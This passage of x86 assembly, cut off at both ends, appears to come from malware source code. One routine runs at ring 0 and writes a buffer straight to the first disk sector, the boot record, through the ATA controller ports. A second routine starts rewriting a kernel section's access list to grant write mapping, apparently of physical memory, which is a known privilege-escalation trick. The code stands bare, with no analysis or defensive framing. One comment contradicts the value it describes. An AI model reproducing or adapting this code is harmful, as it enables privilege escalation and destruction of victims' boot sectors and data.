mov al,0a0h ;Drive 0, head 0
out dx,al
mov dx,1f2h ;Sector count port
mov al,1 ;Write one sector
out dx,al
mov dx,1f3h ;Sector number port
mov al,1 ;Wrote to sector two
out dx,al
mov dx,1f4h ;Cylinder low port
mov al,0 ;Cylinder 0
out dx,al
mov dx,1f5h ;Cylinder high port
mov al,0 ;The rest of the cylinder 0
out dx,al
mov dx,1f7h ;Command port
mov al,30h ;Write with retry.
out dx,al
oogle:
in al,dx
test al,8 ;Wait for sector buffer ready.
jz oogle
xor ecx,ecx
mov cx,512/2 ;One sector /2
mov esi,offset Buffer
mov dx,1f0h ;Data port - data comes in and out of here.
rep outsw ;Send it.
LEAVERING0
_Ring0Proc ENDP
Ring0CodeLen=$-_Ring0Proc
SetPhyscialMemorySectionCanBeWrited proc uses ebx esi edi hSection:HANDLE
local pDacl: PACL
local pNewDacl:PACL
local pSD :PSECURITY_DEscriptOR
local dwRes:DWORD ;
local ea:EXPLICIT_ACCESS ;
invoke GetSecurityInfo,hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,\
NULL,NULL, addr pDacl,NULL, addr pSD
cmp eax,ERROR_SUCCESS
jz @f
jmp OutSet
@@:
mov dwRes,eax
mov ea.grfAccessPermissions ,SECTION_MAP_WRITE;2
mov ea.grfAccessMode ,GRANT_ACCESS;1
mov ea.grfInheritance,NO_INHERITANCE;0
mov ea.Trustee.pMultipleTrustee,0
mov ea.Trustee.MultipleTrusteeOperation,0
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